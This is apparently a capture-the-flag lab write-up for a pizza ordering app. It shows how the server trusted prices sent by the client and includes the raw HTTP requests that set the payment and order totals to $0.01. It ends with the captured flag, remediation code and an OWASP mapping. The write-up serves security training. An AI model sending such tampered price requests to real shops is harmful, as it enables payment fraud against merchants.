BugForge — 2026.04.06

Cheesy Does It: Client-Side Price Tampering

BugForge Client-Side Price Tampering easy

Overview

  • Platform: BugForge
  • Vulnerability: Client-Side Price Tampering — Server Trusts Client-Sent Prices
  • Key Technique: Modifying the amount, unit_price, and total_price values in payment and order API requests to bypass pricing controls
  • Result: Purchased a pizza for $0.01 by sending tampered prices to /api/payment/process and /api/orders, flag returned in order detail response

Objective

Find and exploit vulnerabilities in a pizza ordering application to capture the flag.

Initial Access

# Target Application
URL: https://lab-1775506945267-ezzpbx.labs-app.bugforge.io

# Auth details
Registered user via POST /api/register
Auth mechanism: JWT HS256 (Authorization: Bearer header)
JWT payload: {id, username, iat}

Key Findings

  1. Client-Side Price Tampering — Server Accepts Arbitrary Prices (CWE-602: Client-Side Enforcement of Server-Side Security) — The payment and order endpoints (/api/payment/process and /api/orders) accept client-sent price values (amount, unit_price, total_price) without server-side validation against menu data. The server never recalculates prices from the product catalog, allowing an attacker to set any price including near-zero values.

Attack Chain Visualization

┌──────────────────┐     ┌──────────────────────┐     ┌──────────────────────┐
│  Register user   │     │  Map API surface     │     │  Identify client-    │
│  via /api/       │────>│  (auth, menu, cart,  │────>│  side price calc     │
│  register        │     │  payment, orders)    │     │  in checkout flow    │
└──────────────────┘     └──────────────────────┘     └─────────┬────────────┘
                                                                │
                                                    Prices sent by client,
                                                    not computed by server
                                                                │
                                                                v
                                                    ┌────────────────────────┐
                                                    │  Validate card         │
                                                    │  POST /api/payment/    │
                                                    │  validate (normal)     │
                                                    └───────────┬────────────┘
                                                                │
                                                                v
                                                    ┌────────────────────────┐
                                                    │  Process payment       │
                                                    │  POST /api/payment/    │
                                                    │  process               │
                                                    │  {"amount": 0.01}      │
                                                    └───────────┬────────────┘
                                                                │
                                                                v
                                                    ┌────────────────────────┐
                                                    │  Create order          │
                                                    │  POST /api/orders      │
                                                    │  unit_price: 0.01      │
                                                    │  total_price: 0.01     │
                                                    └───────────┬────────────┘
                                                                │
                                                                v
                                                    ┌────────────────────────┐
                                                    │  GET /api/orders/:id   │
                                                    │  Flag returned in      │
                                                    │  order detail JSON     │
                                                    └────────────────────────┘

Application Architecture

Component Path Description
Frontend React + MUI SPA Pizza ordering interface with menu, cart, checkout
Backend Express/Node.js REST API with JWT authentication
Auth JWT HS256 Token with {id, username, iat}, stored in localStorage
Menu API /api/menu/* Pizzas, bases, sauces, toppings with price modifiers
Payment API /api/payment/* Card validation and payment processing
Orders API /api/orders Order creation and history
Admin API /api/admin/* Stats, users, orders (frontend role check only)

Exploitation Path

Step 1: Reconnaissance — Map the API Surface and Price Flow

Registered an account and captured traffic to enumerate all endpoints. The application is a pizza ordering site with a build-your-own pizza flow: select base, sauce, toppings, size, then checkout.

Key endpoints discovered:

  • POST /api/register / POST /api/login — Auth (returns JWT + user object)
  • GET /api/verify-token — Token validation
  • PUT /api/profile — Profile update (full_name, email, phone, address)
  • GET /api/menu/pizzas, /bases, /sauces, /toppings — Menu data with price_modifier values
  • POST /api/payment/validate — Card validation (card_number, exp_month, exp_year, cvv)
  • POST /api/payment/process — Payment processing (card_number, amount)
  • POST /api/orders — Order creation (items with unit_price, total_price)
  • GET /api/orders/:id — Order detail (sequential IDs)
  • GET /api/admin/stats, /users, /orders — Admin panel

The critical observation: price calculation happens entirely on the client. The frontend computes the final price from base price ($8.99) + modifiers + size multiplier (Small: 0.8×, Medium: 1.0×, Large: 1.3×, X-Large: 1.6×), then sends the computed values directly to the payment and order APIs. The server never references menu prices.

Step 2: IDOR Test (Dead End)

Tested whether orders are user-scoped by creating an order as user2 and attempting to access it as user1 via GET /api/orders/2. Returned 404 — orders are properly scoped to the authenticated user via JWT. No IDOR.

Step 3: Exploitation — Price Tampering

With the client-side pricing confirmed, the attack was straightforward: send legitimate values for card validation, then tamper the price fields in the payment and order requests.

Step 3a: Validate card (normal)

POST /api/payment/validate HTTP/1.1
Host: lab-1775506945267-ezzpbx.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json

{"card_number":"4242424242424242","exp_month":"12","exp_year":"2030","cvv":"123"}

Response: 200 OK — card accepted.

Step 3b: Process payment with tampered amount

POST /api/payment/process HTTP/1.1
Authorization: Bearer <jwt>
Content-Type: application/json

{"card_number":"4242424242424242","amount":0.01}

Response: 200 OK — payment processed at $0.01.

Step 3c: Create order with tampered prices

POST /api/orders HTTP/1.1
Authorization: Bearer <jwt>
Content-Type: application/json

{
  "items": [{
    "pizza_id": 1,
    "base_id": 1,
    "sauce_id": 1,
    "toppings": [1],
    "size": "Large",
    "quantity": 1,
    "unit_price": 0.01,
    "total_price": 0.01
  }],
  "total_price": 0.01,
  "payment_method": "card"
}

Response: 201 Created — order stored at $0.01.

Step 3d: Retrieve order to get flag

GET /api/orders/3 HTTP/1.1
Authorization: Bearer <jwt>

Response: 200 OK — order detail with flag as extra JSON key.


Flag / Objective Achieved

bug{Jp1kFiddq0lAg07B52u2eIRe79j8AKyG}

Returned as an extra flag key in the order detail JSON response when the order was placed with tampered prices.


Key Learnings

  • Client-sent prices are a classic, critical vulnerability — Any time the client sends price/amount values to the server (rather than the server calculating from a product catalog), the entire pricing model is broken. This is one of the most common e-commerce vulnerabilities and one of the easiest to exploit.
  • Look for the calculation boundary — The key question is always: where does price calculation happen? If the frontend computes prices and the backend just stores them, the vulnerability exists. Menu endpoints returning price_modifier values were a strong signal that calculation was client-side.
  • Payment and order are separate trust boundaries — This application required tampering both the payment amount AND the order prices. If only one was tampered, the other might have caught the discrepancy. In this case, neither validated, but in better implementations, the server should compare payment amount against its own calculated total.

Failed Approaches

Approach Result Why It Failed
IDOR on /api/orders/:id 404 for other users’ orders Orders scoped to JWT identity

Tools Used

  • Caido — HTTP interception, request replay, and price tampering
  • Browser DevTools — Traffic capture, client-side price calculation analysis

Remediation

1. Client-Side Price Tampering — No Server-Side Price Validation (CVSS: 9.1 - Critical)

Issue: The /api/payment/process and /api/orders endpoints accept client-sent price values (amount, unit_price, total_price) without validating them against server-side menu data. The server stores and processes whatever price the client provides. CWE Reference: CWE-602 - Client-Side Enforcement of Server-Side Security

// BEFORE (Vulnerable)
app.post('/api/payment/process', authenticate, async (req, res) => {
  const { card_number, amount } = req.body;
  // Server trusts client-sent amount — no validation
  await processPayment(card_number, amount);
  res.json({ success: true });
});

app.post('/api/orders', authenticate, async (req, res) => {
  const { items, total_price, payment_method } = req.body;
  // Server stores client-sent prices — no recalculation
  const order = await createOrder(req.user.id, items, total_price);
  res.status(201).json(order);
});

// AFTER (Secure)
app.post('/api/orders', authenticate, async (req, res) => {
  const { items, payment_method } = req.body;

  // Server recalculates all prices from menu data
  let calculatedTotal = 0;
  for (const item of items) {
    const pizza = await getProduct(item.pizza_id);
    const base = await getBase(item.base_id);
    const sauce = await getSauce(item.sauce_id);
    const toppings = await getToppings(item.toppings);
    const sizeMultiplier = SIZE_MULTIPLIERS[item.size];

    const unitPrice = (pizza.base_price + base.price_modifier
      + sauce.price_modifier + toppings.reduce((s, t) => s + t.price, 0))
      * sizeMultiplier;
    calculatedTotal += unitPrice * item.quantity;
  }

  // Process payment with server-calculated total
  await processPayment(req.user.card, calculatedTotal);

  const order = await createOrder(req.user.id, items, calculatedTotal);
  res.status(201).json(order);
});

Key principle: The client should send product selections (IDs, sizes, quantities) and the server should calculate all prices. Client-sent price fields should be ignored entirely or used only for display consistency checks (rejecting orders where client and server totals diverge by more than a rounding threshold).


OWASP Top 10 Coverage

  • A04:2021 - Insecure Design — The pricing architecture delegates price calculation to the client and trusts the result. This is a fundamental design flaw, not an implementation bug.
  • A08:2021 - Software and Data Integrity Failures — The server fails to verify the integrity of price data received from the client, accepting any value without cross-referencing authoritative pricing data.

References


Tags: #price-tampering #client-side-trust #api-security #e-commerce #bugforge

#price-tampering #client-side-trust #api-security #e-commerce